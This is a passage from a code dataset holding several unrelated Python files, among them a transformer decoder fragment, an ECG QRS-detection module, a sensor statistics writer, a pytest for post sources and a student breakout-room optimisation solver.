i, layer in enumerate(self.transformer_layers):\n            layer_cache = {\"memory_keys\": None, \"memory_values\": None}\n            if isinstance(layer.self_attn, AverageAttention):\n                layer_cache[\"prev_g\"] = torch.zeros((batch_size, 1, depth),\n                                                    device=memory_bank.device)\n            else:\n                layer_cache[\"self_keys\"] = None\n                layer_cache[\"self_values\"] = None\n            self.state[\"cache\"][\"layer_{}\".format(i)] = layer_cache\n\n    def update_dropout(self, dropout, attn_dropout):\n        raise NotImplementedError\n\n","sub_path":"nslt/models/decoders/transformer_decoder.py","file_name":"transformer_decoder.py","file_ext":"py","file_size_in_byte":8194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"114411490","text":"#008 - Acima de 30\n\nagenda = {}\nwhile True:\n    cpf = input('CPF: ')\n    if cpf.lower() == 'fim':\n        break\n    nome = input('Nome: ')\n    idade = int(input('Idade: '))\n    agenda[cpf] = {'Nome': nome, 'Idade': idade}\n\nacimade30 = []\npessoas30 = []\nabaixode30 = []\nac30 = {}\nab30 = {}\np30 = {}\n\nfor key in agenda:\n    if agenda[key]['Idade'] > 30:\n        acimade30.append(key)\n    elif agenda[key]['Idade'] < 30:\n        abaixode30.append(key)\n    else:\n        pessoas30.append(key)\n\nprint('Acima de 30:')\nfor i in acimade30:\n    ac30[i] = agenda.pop(i)\n    print(ac30)\n\nprint()\nprint('Abaixo de 30:')\nfor j in abaixode30:\n    ab30[j] = agenda.pop(j)\n    print(ab30)\n\nprint()\nprint('Pessoas com 30 anos:')\nfor k in pessoas30:\n    p30[k] = agenda.pop(k)\n    print(p30)","sub_path":"Revisões - UFRPE/Lista #5 - Dicionários.py/008 - Acima de 30.py","file_name":"008 - Acima de 30.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"165257607","text":"import matplotlib.pyplot as plt\n\ndef move_figure():\n    '''\n    Move and resize a window to a set of standard positions on the screen.\n    Possible positions are:\n    top, bottom, left, right, top-left, top-right, bottom-left, bottom-right\n    '''\n    mgr = plt.get_current_fig_manager()\n    x, y, w, h = mgr.window.geometry().getRect()\n    d = 10  # width of the window border in pixels\n    mgr.window.setGeometry(d, d, w+d, h+d)\n\n","sub_path":".ipython.symlink/profile_default/startup/figs.py","file_name":"figs.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"432940893","text":"import pandas as pd\nfrom datetime import datetime as dt\nfrom configparser import ConfigParser\nimport os, glob\nfrom pathlib import Path\nimport numpy as np\nimport time\n\n\nclass StatsWriter:\n    def __init__(self, config_file=\"config.ini\", update_interval=7200):\n        self._read_config_file(config_file)\n        self._measurement_files = {\n            \"Temperature\": \"Temp_stats.csv\",\n            \"Relative humidity\": \"Humidity_stats.csv\",\n            \"Dew point\": \"Dewpoint_stats.csv\",\n            \"CO2 level\": \"CO2_stats.csv\",\n        }\n        self._update_interval = update_interval\n\n    def _read_config_file(self, config_file):\n        cp = ConfigParser()\n        cp.read(config_file)\n        self._work_day_start = cp.get(\"settings\", \"work_day_start\")\n        self._work_day_end = cp.get(\"settings\", \"work_day_end\")\n        self._data_file_location = cp.get(\"settings\", \"data file location\")\n\n    def _get_available_files(self):\n        return sorted(glob.glob(self._data_file_location + \"/*_sensors.csv\"))\n\n    def _calc_stats(self, column, dataframe):\n        stats = dataframe.groupby([\"date\", \"ip\", \"name\"], as_index=False).agg(\n            {column: [np.max, np.mean, np.std]}\n        )\n        return stats\n\n\n    def _process_stats_for_files(self, measurement):\n        column_name = measurement\n        filenames = self._get_available_files()\n        stats_dataframe = pd.DataFrame()\n        for filename in filenames:\n            df = self._get_dataframe_from_file(filename, column_name)\n            df = self._filter_dataframe_time_window(df)\n            stats = self._calc_stats(column_name, df)\n            stats_dataframe = stats_dataframe.append(stats)\n        return stats_dataframe\n\n    def _filter_dataframe_time_window(self, df):\n        df = df.between_time(self._work_day_start, self._work_day_end).copy()\n        df[\"date\"] = df.index.strftime(\"%d/%m/%Y\")\n        return df\n\n    def _get_dataframe_from_file(self, name, column):\n        with open(name, \"r\") as f:\n            df = pd.read_csv(\n                f,\n                usecols=[\"name\", \"ip\", \"Time\", column],\n                na_values=[\"connection\", \"-\"],\n                dtype={column: \"float\"},\n                parse_dates=[\"Time\"],\n                infer_datetime_format=True,\n                cache_dates=True,\n                index_col=\"Time\",\n            )\n        return df\n\n    def _write_dataframe_to_file(self, stats_dataframe, filename):\n        outfile = self._data_file_location + os.sep + filename\n        first_line_in_file = \"date,ip,name,peak,mean,std\\n\"\n        with open(outfile, \"w\") as f:\n            f.write(first_line_in_file)\n            f.write(\n                stats_dataframe.to_csv(header=False, index=False, line_terminator=\"\\n\")\n            )\n\n    def start(self):\n        while True:\n            for measurement, filename in self._measurement_files.items():\n                stats_data = self._process_stats_for_files(measurement)\n                self._write_dataframe_to_file(stats_data, filename)\n            time.sleep(self._update_interval)\n\nif __name__ == \"__main__\":\n    test = StatsWriter()\n    test.start()\n","sub_path":"stats_writer.py","file_name":"stats_writer.py","file_ext":"py","file_size_in_byte":3128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"327853197","text":"#!/usr/bin/env python\n\n# QRS detection in ECGs using a modified Pan Tomkins method.\n# Modifications based on OSEA documentation - Patrick Hamilton\n\nfrom __future__ import division\nimport scipy\nimport scipy.signal\nimport scipy.io as spio\nimport pylab\nimport datetime\n\nimport sys\nsys.path.append('/data/dropbox/programming')\n#import ecgtools.basic_tools\n\nclass QrsDetectionError(Exception):\n    \"\"\"Raise error related to qrs detection\"\"\"\n    def __init__(self, value):\n        self.parameter = value\n\n    def __str__(self):\n        return repr(self.parameter)\n\nclass Ecg():\n    \"\"\"The ECG data\n    \"\"\"\n    def __init__(self, ecgdata, infodict):\n        \"\"\"\n        Arguments:\n        - 'ecgdata' : The ecgdata as an array - points x leads\n                      or a vector\n        - `infodict`: A dictionary object holding info\n                    - 'name' = Patients name\n                    - 'age' = Age in years\n                    - 'sex' = 'm', 'f' or 'u' for unknown\n                    - 'samplingrate' = Hz\n                    \n        \"\"\"\n        self.infodict = infodict\n        self._readinfo()\n        self.data = scipy.array(ecgdata)\n\n        # convert vector to column array\n        if len(self.data.shape) == 1:\n            self.data = scipy.array([self.data]).transpose()\n\n        self.points, self.leads = self.data.shape\n        if len(self.data.shape) > 1 and self.leads > self.points:\n            raise QrsDetectionError(\"Data has more columns than rows\")\n\n    def _warning(self, msg):\n        \"\"\"Handle warning messages\"\"\"\n        # TODO: verbosity to determine how the warning will be treated.\n        #print(msg)\n\n    def _readinfo(self):\n         \"\"\"Read the info and fill missing values with defaults\n         \"\"\"\n         # defaults \n         self.name =  ''\n         self.age =  0\n         self.sex = 'u'\n         self.samplingrate = 360 # TODO!!!\n\n         for variable, key in [\n             (self.name, 'name'),\n             (self.age, 'age'),\n             (self.sex, 'sex'),\n             (self.samplingrate, 'samplingrate')]:\n             try:\n                 variable = self.infodict[key]\n             except KeyError:\n                 self._warning(\"Info does not contain %s, replacing with %s\"\n                                      %(key, variable))\n\n    def qrsDetect(self, qrslead=0):\n         \"\"\"Detect QRS onsets using modified PT algorithm\n         \"\"\"\n         # If ecg is a vector, it will be used for qrs detection.\n         # If it is a matrix, use qrslead (default 0)\n         if len(self.data.shape) == 1:\n             self.raw_ecg = self.data\n         else:\n             self.raw_ecg = self.data[:,qrslead]\n         \n         self.filtered_ecg = self.bpfilter(self.raw_ecg)\n         self.diff_ecg  = scipy.diff(self.filtered_ecg)\n         self.sq_ecg = abs(self.diff_ecg)\n         self.int_ecg = self.mw_integrate(self.sq_ecg)\n         \n         # Construct buffers with last 8 values \n         self._initializeBuffers(self.int_ecg)\n         \n         peaks = self.peakDetect(self.int_ecg)\n         self.checkPeaks(peaks, self.int_ecg)\n\n         # compensate for delay during integration\n         self.QRSpeaks = self.QRSpeaks  - 40 * (self.samplingrate / 1000)\n         \n         #print (\"length of qrs peaks and ecg\", len(self.QRSpeaks), len(self.raw_ecg))\n         #print(self.QRSpeaks)\n         return self.QRSpeaks\n\n    def qrs_detect_multiple_leads(self, leads=[]):\n        \"\"\"Use multiple leads for qrs detection.\n        Leads to use may be given as list of lead indices.\n        Default is to use all leads\"\"\"\n        # leads not specified, switch to all leads\n        if leads == []:\n            leads = range(self.leads)\n\n        # qrs detection for each lead\n        qrspeaks = []\n        for lead in leads:\n            qrspeaks.append(self.qrsDetect(lead))\n\n        # DEBUG\n        #print (\"length of qrs in different channels\")\n        #print ([len(x) for x in qrspeaks])\n\n        # zero pad detections to match lengths\n        maxlength = max([len(qrspeak_lead) for qrspeak_lead in\n                         qrspeaks])\n        for lead in range(len(qrspeaks)):\n            qrspeaks[lead] = self._zeropad(qrspeaks[lead], maxlength)\n\n        #DEBUG\n        #print (\"max length \", maxlength)\n        #print ([len(x) for x in qrspeaks])\n        \n        qrspeaks_array = scipy.array(qrspeaks).transpose()\n        self.QRSpeaks = self.multilead_peak_match(qrspeaks_array)\n        return self.QRSpeaks\n\n    def _zeropad(self, shortvec, l):\n        \"\"\"Pad the vector shortvec with terminal zeros to length l\"\"\"\n        return scipy.hstack((shortvec, scipy.zeros((l - len(shortvec)), dtype='int')))\n        \n    def write_ann(self, annfile):\n        \"\"\"Write an annotation file for the QRS onsets in a format\n        that is usable with wrann\"\"\"\n        fi = open(annfile, 'w')\n        for qrspeak in self.QRSpeaks:\n            fi.write('%s %s %s %s %s %s\\n' %(self._sample_to_time(qrspeak), qrspeak, 'N', 0, 0, 0))\n        fi.close()\n\n    def _sample_to_time(self, sample):\n        \"\"\"convert from sample number to a string representing\n        time in a format required for the annotation file.\n        This is in the form (hh):mm:ss.sss\"\"\"\n        time_ms = int(sample*1000 / self.samplingrate)\n        hr, min, sec, ms = time_ms//3600000 % 24, time_ms//60000 % 60, \\\n                           time_ms//1000 % 60, time_ms % 1000\n        timeobj = datetime.time(hr, min, sec, ms*1000) # last val is microsecs\n        return timeobj.isoformat()[:-3] # back to ms\n         \n    def visualize_qrs_detection(self, savefilename = False):\n        \"\"\"Plot the ecg at various steps of processing for qrs detection.\n        Will not plot more than 10 seconds of data.\n        If filename is input, image will be saved\"\"\"\n        ecglength = len(self.raw_ecg)\n        ten_seconds = 200 * self.samplingrate\n        \n        if ecglength >= ten_seconds:\n            segmentend = ten_seconds\n        elif ecglength < ten_seconds:\n            segmentend = ecglength\n\n        segmentQRSpeaks = [peak for peak in self.QRSpeaks if peak < segmentend]\n\n        pylab.figure()\n        pylab.subplot(611)\n        pylab.plot(self.raw_ecg[:segmentend])\n        pylab.ylabel('Raw ECG', rotation='horizontal')\n        pylab.subplot(612)\n        pylab.plot(self.filtered_ecg[:segmentend])\n        pylab.ylabel('Filtered ECG',rotation='horizontal')\n        pylab.subplot(613)\n        pylab.plot(self.diff_ecg[:segmentend])\n        pylab.ylabel('Differential',rotation='horizontal')\n        pylab.subplot(614)\n        pylab.plot(self.sq_ecg[:segmentend])\n        pylab.ylabel('Squared differential',rotation='horizontal')\n        pylab.subplot(615)\n        pylab.plot(self.int_ecg[:segmentend])\n        pylab.ylabel('Integrated', rotation='horizontal')\n        pylab.subplot(616)\n        pylab.hold(True)\n        pylab.plot(self.raw_ecg[:segmentend])\n        pylab.plot(segmentQRSpeaks, self.raw_ecg[segmentQRSpeaks], 'xr')\n        pylab.hold(False)\n        pylab.ylabel('QRS peaks', rotation='horizontal')\n\n        if savefilename:\n            pylab.savefig(savefilename)\n        else:\n            pylab.show()\n        \n    def _initializeBuffers(self, ecg):\n        \"\"\"Initialize the 8 beats buffers using values\n        from the first 8 one second intervals        \n        \"\"\"\n        srate = self.samplingrate\n        # signal peaks are peaks in the 8 segments\n        self.signal_peak_buffer = [max(ecg[start*srate:start*srate+srate])\n                                                  for start in range(8)]\n        self.noise_peak_buffer = [0] * 8\n        self.rr_buffer = [1] * 8\n        self._updateThreshold()\n        \n    def _updateThreshold(self):\n        \"\"\"Calculate threshold based on amplitudes of last\n        8 signal and noise peaks\"\"\"\n        noise = scipy.mean(self.noise_peak_buffer)\n        signal = scipy.mean(self.signal_peak_buffer)\n        self.threshold = noise + 0.3125 * (signal - noise)\n        self.threshold = self.threshold*2\n\n    def peakDetect(self, ecg):\n        \"\"\"Determine all points that form a local maximum\n        \"\"\"\n        # list all local maxima\n        all_peaks = [i for i in range(1,len(ecg)-1)\n                     if ecg[i-1] < ecg[i] > ecg[i+1]]\n        peak_amplitudes = [ecg[peak] for peak in all_peaks]\n\n        final_peaks = []\n\n        # restrict to peaks that are larger than anything else 200 ms\n        # on either side\n        minimumRR = self.samplingrate * 0.2\n\n        # start with first peak\n        peak_candidate_index = all_peaks[0]\n        peak_candidate_amplitude = peak_amplitudes[0]\n\n        # test successively against other peaks\n        for peak_index, peak_amplitude in zip(all_peaks, peak_amplitudes):\n            # if new peak is less than minimumRR away and is larger,\n            # it becomes candidate\n            if peak_index - peak_candidate_index <= minimumRR and\\\n                                  peak_amplitude > peak_candidate_amplitude:\n                peak_candidate_index = peak_index\n                peak_candidate_amplitude = peak_amplitude\n\n            # if new peak is more than 200 ms away, candidate is added to\n            # final peak and new peak becomes candidate\n            elif peak_index - peak_candidate_index > minimumRR:\n                final_peaks.append(peak_candidate_index)\n                peak_candidate_index = peak_index\n                peak_candidate_amplitude = peak_amplitude\n\n            else:\n                pass\n\n        return final_peaks\n\n\n    def checkPeaks(self, peaks, ecg):\n        \"\"\"Check the given peaks one by one according to\n        thresholds that are constantly updated\"\"\"\n        amplitudes = [ecg[peak] for peak in peaks]\n        self.QRSpeaks = []\n        \n        for index, peak in enumerate(peaks):\n            amplitude = amplitudes[index]\n            # accept if larger than threshold and slope in raw signal\n            # is +-30% of previous slopes\n            #print(index,amplitude,self.threshold)\n            if amplitude > self.threshold:\n                self.acceptasQRS(peak, amplitude)\n\n            # acccept as qrs if higher than half threshold,\n            # but is 360 ms after last qrs and next peak\n            # is more than 1.5 rr intervals away\n            # just abandon it if there is no peak before\n            # or after\n            elif amplitude > self.threshold/2 and \\\n                     len(self.QRSpeaks) > 0 and \\\n                     len(peaks) > index+1:\n                meanrr = scipy.mean(self.rr_buffer)\n                lastQRSms = (peak - self.QRSpeaks[-1]) * (\n                                               1000 / self.samplingrate)\n                lastQRS_to_next_peak = peaks[index+1] - self.QRSpeaks[-1]\n\n                if lastQRSms > 360 and lastQRS_to_next_peak > 1.5 * meanrr:\n                    self.acceptasQRS(peak, amplitude)\n\n                else:\n                    self.acceptasNoise(peak, amplitude)\n\n            # if not either of these it is noise\n            else:\n                self.acceptasNoise(peak, amplitude)\n\n        self.QRSpeaks = scipy.array(self.QRSpeaks)\n        return\n\n\n    def acceptasQRS(self, peak, amplitude):\n        self.QRSpeaks.append(peak)\n\n        self.signal_peak_buffer.pop(0)\n        self.signal_peak_buffer.append(amplitude)\n\n        if len(self.QRSpeaks) > 1:\n            self.rr_buffer.pop(0)\n            self.rr_buffer.append(self.QRSpeaks[-1] - self.QRSpeaks[-2])\n        self._updateThreshold()\n\n    def acceptasNoise(self, peak, amplitude):\n        self.noise_peak_buffer.pop(0)\n        self.noise_peak_buffer.append(amplitude)\n            \n    def mw_integrate(self, ecg):\n        \"\"\"\n        Integrate the ECG signal over a defined\n        time period. \n        \"\"\"\n        # window of 80 ms - better than using a wider window\n        window_length = int(80 * (self.samplingrate / 1000))\n\n        int_ecg = scipy.zeros_like(ecg)\n        cs = ecg.cumsum()\n        \n        int_ecg[window_length:] = (cs[window_length:] -\n                                   cs[:-window_length]) / window_length\n        int_ecg[:window_length] = cs[:window_length] / scipy.arange(\n                                                   1, window_length + 1)\n        \n        return int_ecg\n\n    def bpfilter(self, ecg):\n         \"\"\"Bandpass filter the ECG with a bandpass setting of\n         5 to 15 Hz\"\"\"\n         # relatively basic implementation for now\n         # TODO:\n         # Explore - different stopbands, filtfilt, padding\n         Nyq = self.samplingrate / 2\n\n         wn = [5/ Nyq, 15 / Nyq]\n         b,a = scipy.signal.butter(2, wn, btype = 'bandpass')\n         return scipy.signal.filtfilt(b,a,ecg)\n       #  return ecgtools.basic_tools.filtfilt(b,a,ecg)\n\n\n    def multilead_peak_match(self, peaks):\n        \"\"\"Reconcile QRS detections from multiple leads.\n        peaks is a matrix of peak_times x leads.\n        If the number of rows is different,\n        pad shorter series with zeros at end\"\"\"\n        ms90 = 90 * self.samplingrate / 1000\n        Npeaks, Nleads = peaks.shape\n        current_peak = 0\n        final_peaks = []\n\n        while current_peak < len(peaks):\n            all_values = peaks[current_peak, :]\n            outer = all_values.max()\n            outerlead = all_values.argmax()\n            inner = all_values.min()\n            innerlead = all_values.argmin()\n\n            #\n            near_inner = sum(all_values < inner + ms90)\n            near_outer = sum(all_values > outer - ms90)\n\n            #all are within 90 ms\n            if near_inner == near_outer == Nleads:\n                final_peaks.append(int(scipy.median(all_values)))\n                current_peak += 1\n\n            # max is wrong\n            elif near_inner > near_outer:\n                peaks[current_peak+1:Npeaks, outerlead] = peaks[current_peak:Npeaks-1, outerlead]\n                peaks[current_peak, outerlead] = scipy.median(all_values)\n                # do not change current peak now\n\n            # min is wrong\n            elif near_inner <= near_outer:\n                peaks[current_peak:Npeaks-1, innerlead] = peaks[current_peak+1:Npeaks, innerlead]\n                peaks[-1, innerlead] = 0\n\n        return final_peaks\n\n\ndef main():\n    \"\"\"The main program\n    \"\"\"\n \n    import pylab\n    #import ecgtools.io\n \n\n  #  data, info = ecgtools.io.readPrucka('/data/dropbox/programming/ecgtools/samples/prucka_test.txt')\n    data = spio.loadmat('116m.mat')\n    data = data['val']\n    data = data[0]\n    data2 = []\n    for i in data:\n        data2.append(i/2000.0)\n    '''\n\tinfodict`: A dictionary object holding info\n                    - 'name' = Patients name\n                    - 'age' = Age in years\n                    - 'sex' = 'm', 'f' or 'u' for unknown\n                    - 'samplingrate' = Hz\n\t'''\n    info = {'name': \"roman\", 'age': 50, 'sex': 'm', 'samplingrate' : 1000}\n    ecg = Ecg(data2, info)\n\n   # ecg.qrs_detect_multiple_leads([7,8])\n    ecg.qrsDetect(0)\n\n    # plot the detection\n    ecg.visualize_qrs_detection()\n\n   # ecg.write_ann('/data/tmp/testann.txt')\n      \n\n\ndef test():\n    \"\"\"Test multilead peak match\"\"\"\n    testpeaks = scipy.array([[1,501,1000,1490,2000, 0],\n                        [0,320, 530, 1100, 1530, 2010],\n                        [10, 990, 1400, 1990, 0, 0]])\n    testpeaks =  testpeaks.transpose()\n    newpeaks = multilead_peak_match(testpeaks)\n    #print(newpeaks)\n\n    \n      \nif __name__ == \"__main__\":\n    main()\n","sub_path":"qrsdetect.py","file_name":"qrsdetect.py","file_ext":"py","file_size_in_byte":15422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"544038516","text":"import csv\nimport sys\nfrom collections import defaultdict\n\n\nword_ratings = defaultdict(set)\nwords = []\n\nwith open(sys.argv[1]) as f:\n\treader = csv.reader(f)\n\tfor row in reader:\n\t\tword_ratings[row[0]].add(row[1])\n\t\twords.append(row[1])\n\nduplicates = set()\nfor word in words:\n\tif word in word_ratings['neg'] and word in word_ratings['pos']:\n\t\tduplicates.add(word)\n\n#with open(sys.argv[2], 'w') as f:\n#\twriter = csv.writer(f)\n#\tfor word in sorted(duplicates):\n#\t\tgood_sum = len([w for w in word_ratings['pos'] if w == word])\n#\t\tbad_sum = len([w for w in word_ratings['neg'] if w == word])\n#\t\twriter.writerow([word, good_sum, bad_sum])\n\nwith open(sys.argv[2], 'w') as f:\n\twriter = csv.writer(f)\n\tfor word in word_ratings['pos']:\n\t\twriter.writerow(['pos', word])\n\tfor word in word_ratings['neg']:\n\t\twriter.writerow(['neg', word])\n\n#for word in sorted(duplicates):\n#\tgood_sum = len([w for w in word_ratings['pos'] if w == word])\n#\tbad_sum = len([w for w in word_ratings['neg'] if w == word])\n#\n#\n#\ttry:\n#\t\tif good_sum > bad_sum + 5:\n#\t\t\tword_ratings['neg'].remove(word)\n#\t\telif bad_sum + 5 > good_sum:\n#\t\t\tword_ratings['pos'].remove(word)\n#\texcept ValueError:\n#\t\tpass\n#\n#with open(sys.argv[2], 'w') as f:\n#\twriter = csv.writer(f)\n#\tfor word in word_ratings['pos']:\n#\t\twriter.writerow(['pos', word])\n#\tfor word in word_ratings['neg']:\n#\t\twriter.writerow(['neg', word])\n#\t\t\n","sub_path":"semantic-analysis/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"157260454","text":"from .arrangement import Arrangement\n\nclass ValentinesDayArr(Arrangement):\n\n    def __init__(self):\n        super().__init__()\n\n    def enhance(self, flower):\n\n        try:\n            if flower.distinction == \"Basic bullshit\":\n                self._Arrangement__flowers.append(flower)\n                print(f'A {flower} has been added to the Valentines Day arrangement\\n')\n            else:\n                print(f'You cannot add a {flower} because Valentines Day arrangements only include roses, lillies & alstroemeria.\\n')\n        except AttributeError:\n            return 0\n\n    def __str__(self):\n        all_flowers = []\n        for flower in self._Arrangement__flowers:\n            flower_str = str(flower)\n            all_flowers.append(flower_str)\n        return(f'This Valentines Day arrangement has {all_flowers}\\n')","sub_path":"arrangements/valentines_day_arr.py","file_name":"valentines_day_arr.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"308338772","text":"import pytest\nfrom .mockutil import mock_fs, mock_fs_scope\n\n\n@pytest.mark.parametrize('fs_fac, src_type, expected_paths, expected_metadata', [\n        (lambda: mock_fs(), 'flat', [], []),\n        (lambda: mock_fs().withPage('test/2014-01-01_foo.md'),\n            'flat',\n            ['2014-01-01_foo.md'],\n            [(2014, 1, 1, 'foo')]),\n        (lambda: mock_fs(), 'shallow', [], []),\n        (lambda: mock_fs().withPage('test/2014/01-01_foo.md'),\n            'shallow',\n            ['2014/01-01_foo.md'],\n            [(2014, 1, 1, 'foo')]),\n        (lambda: mock_fs(), 'hierarchy', [], []),\n        (lambda: mock_fs().withPage('test/2014/01/01_foo.md'),\n            'hierarchy',\n            ['2014/01/01_foo.md'],\n            [(2014, 1, 1, 'foo')]),\n        ])\ndef test_post_source_factories(fs_fac, src_type, expected_paths,\n                               expected_metadata):\n    fs = fs_fac()\n    fs.withConfig({\n        'site': {\n            'sources': {\n                'test': {'type': 'posts/%s' % src_type}},\n            'routes': [\n                {'url': '/%slug%', 'source': 'test'}]\n            }\n        })\n    fs.withDir('kitchen/test')\n    with mock_fs_scope(fs):\n        app = fs.getApp(cache=False)\n        s = app.getSource('test')\n        facs = list(s.buildPageFactories())\n        paths = [f.rel_path for f in facs]\n        assert paths == expected_paths\n        metadata = [\n                (f.metadata['year'], f.metadata['month'],\n                    f.metadata['day'], f.metadata['slug'])\n                for f in facs]\n        assert metadata == expected_metadata\n\n","sub_path":"tests/test_sources_posts.py","file_name":"test_sources_posts.py","file_ext":"py","file_size_in_byte":1596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"182865772","text":"import networkx as nx\nfrom parse import read_input_file, write_output_file\nfrom utils import is_valid_solution, calculate_happiness, convert_dictionary\nimport sys\n\nimport random\nimport copy\n\nimport numpy as np\n\ndef solve(G, s):\n    \"\"\"\n    Args:\n        G: networkx.Graph\n        s: stress_budget\n    Returns:\n        D: Dictionary mapping for student to breakout room r e.g. {0:2, 1:0, 2:1, 3:2}\n        k: Number of breakout rooms\n    \"\"\"\n\n    #np.random.seed(99)\n\n    # print(s)\n    #print(list(G.adjacency()))\n    #room_mapping = {}    \n    room_mapping = generate_start_state(G, s)\n    \n    print(\"random: \" + str(room_mapping))\n\n    room_mapping_default = {}\n    for student in (G.adjacency()):\n        room_mapping_default[student[0]] = [student[0]]\n    num_students = len(room_mapping_default)\n\n    #room_mapping = room_mapping_default\n\n    best_happiness = 0\n    best_D = copy.deepcopy(room_mapping)\n\n    steps = 0\n    #next_step = combine_step(G, s, num_students, room_mapping)\n    next_step = take_step(G, s, len(room_mapping), room_mapping, False, num_students)\n    previous_step = copy.deepcopy(room_mapping)\n    while (next_step != 0 and steps <= 100): #HYPERPARAMETER: how many steps in random walk after finding initial state\n        steps += 1\n        previous_step = copy.deepcopy(next_step)\n        next_step = take_step(G, s, len(next_step), next_step, False, num_students)\n        #next_step = combine_step(G, s, num_students, room_mapping) \n\n        print(\"STEP \" + str(steps) + \" \" + str(next_step))\n\n        greedy_step = copy.deepcopy(previous_step)\n        while (greedy_step != 0):\n            previous_greedy = copy.deepcopy(greedy_step)\n            greedy_step = take_step(G, s, len(greedy_step), greedy_step, True, num_students)\n            \n            #print(previous_greedy)\n            #print(calculate_happiness(convert_dictionary(previous_greedy), G))\n\n        greedy_happiness = calculate_happiness(convert_dictionary(previous_greedy), G) \n        print(is_valid_solution(convert_dictionary(previous_greedy), G, s, len(previous_greedy))) \n        print(\"HP: \" + str(greedy_happiness))\n        print(previous_greedy)\n        print(\"\")\n        if (greedy_happiness > best_happiness):\n            best_happiness = greedy_happiness\n            best_D = previous_greedy\n\n    room_mapping = best_D\n    # for i in G.adjacency():\n    #     print(i)\n    #     print(\"\")\n\n    # room_mapping = {7:0, 2:0, 1:0, 5:1, 0:1, 9:1, 8:2, 6:2, 3:2, 4:2}\n    # return(room_mapping, 3)\n    \n    print(room_mapping)\n\n    return (convert_dictionary(room_mapping), len(room_mapping))\n\n\ndef generate_start_state(G, s):\n    while True: \n        students = []\n        for student in (G.adjacency()):\n            students.append(student[0])\n        k = np.random.randint(1, len(students)) #HYPERPARAMETER: (maybe do binary search) use to pick range of random room numbers\n\n        invalid_sol = False\n        start_state = {}\n     \n        while students:\n            print(start_state)\n            #print(students)\n            if invalid_sol:\n                break\n            remaining_students = copy.deepcopy(students)\n\n            while True:\n                orig_start_state = copy.deepcopy(start_state)\n                student = remaining_students.pop(np.random.randint(0, len(remaining_students)))\n                # room = np.random.randint(0, k)\n                # if room in start_state:\n                #     start_state[room].append(student)\n                # else:\n                #     start_state[room] = [student]\n\n                remaining_rooms = [x for x in range(1, k+1)]\n                while (len(remaining_rooms) > 0): #HYPERPARAMETER: use to determine what fraction of random rooms to try per student\n                    start_state = copy.deepcopy(orig_start_state) \n                    room = remaining_rooms.pop(np.random.randint(0, len(remaining_rooms)))\n                    if room in start_state:\n                        start_state[room].append(student)\n                    else:\n                        start_state[room] = [student]\n\n                    if is_valid_solution(convert_dictionary(start_state), G, s, len(start_state)):\n                        break\n\n                #maybe rewrite valid solution checker for solutions not with all students\n                if is_valid_solution(convert_dictionary(start_state), G, s, len(start_state)):\n                    #print(start_state)\n                    students.remove(student)\n                    break\n                elif not remaining_students:\n                    invalid_sol = True\n                    break\n                else:\n                    start_state = orig_start_state\n\n        if not invalid_sol:            \n            break\n\n    return start_state\n\n\n\ndef combine_step(G, s, k, room_mapping):\n    # print(list(room_mapping.keys()))\n    rand_room_from = random.choice(list(room_mapping.keys()))\n\n    rand_room_to = random.choice(list(room_mapping.keys()))\n    while (rand_room_to == rand_room_from):\n        rand_room_to = random.choice(list(room_mapping.keys()))\n\n    room_mapping_check = copy.deepcopy(room_mapping)\n\n    room_mapping_check[rand_room_to] += (room_mapping_check[rand_room_from])\n    room_mapping_check.pop(rand_room_from)\n    k -= 1\n    stuck = 0\n    #print(room_mapping_check.items())\n    #print(room_mapping_check)\n    while (not is_valid_solution(convert_dictionary(room_mapping_check), G, s, k)):\n        stuck += 1\n        if (stuck > 1200):\n            return 0\n        k += 1\n\n        rand_room_from = random.choice(list(room_mapping.keys()))\n        rand_room_to = random.choice(list(room_mapping.keys()))\n        while (rand_room_to == rand_room_from):\n            rand_room_to = random.choice(list(room_mapping.keys()))\n\n        room_mapping_check = copy.deepcopy(room_mapping)\n\n        room_mapping_check[rand_room_to] += (room_mapping_check[rand_room_from])\n        room_mapping_check.pop(rand_room_from)\n        k -= 1\n    \n    return room_mapping_check\n\n\n\ndef take_step(G, s, k, room_mapping, greedy_bool, num_students):\n    current_happiness = calculate_happiness(convert_dictionary(room_mapping), G)\n    undo_k = 0 \n    stuck = 0\n    epsilon_upper = 1.0\n    epsilon_cutoff = 0.8 #I NEED TO FIX THIS, but maybe simulated annealing isn't it\n    #print(epsilon_param)\n    while (True): \n        if epsilon_upper > epsilon_cutoff: #HYPERPARAMETER: use for temperature/epsilon for chance to go downhill at a step\n            epsilon_upper -= 0.003\n        epsilon_param = np.random.uniform(0,epsilon_upper)\n        #print(\"2 \" + str(epsilon_param))\n\n        stuck += 1  \n        if (stuck > 500): #HYPERPARAMETER: use to determine after how long we are stuck\n            return 0\n       \n        rand_room_from = random.choice(list(room_mapping.keys()))\n        rand_student = random.choice(room_mapping[rand_room_from])\n        rand_room_to = np.random.randint(0, num_students)\n        while (rand_room_to == rand_room_from):\n            rand_room_to = np.random.randint(0, num_students)\n\n        room_mapping_check = copy.deepcopy(room_mapping)\n        if rand_room_to not in room_mapping_check:\n            room_mapping_check[rand_room_to] = [rand_student]\n        else:\n            room_mapping_check[rand_room_to].append(rand_student)\n\n        room_mapping_check[rand_room_from].remove(rand_student)\n        if not room_mapping_check[rand_room_from]:\n            room_mapping_check.pop(rand_room_from)\n        \n        if (not is_valid_solution(convert_dictionary(room_mapping_check), G, s, len(room_mapping_check))\n        or (calculate_happiness(convert_dictionary(room_mapping_check), G) <= current_happiness and (epsilon_param < epsilon_cutoff) and greedy_bool)):\n            continue \n        else:\n            break\n\n    return room_mapping_check\n\n\n\n# Here's an example of how to run your solver.\n# Usage: python3 solver.py 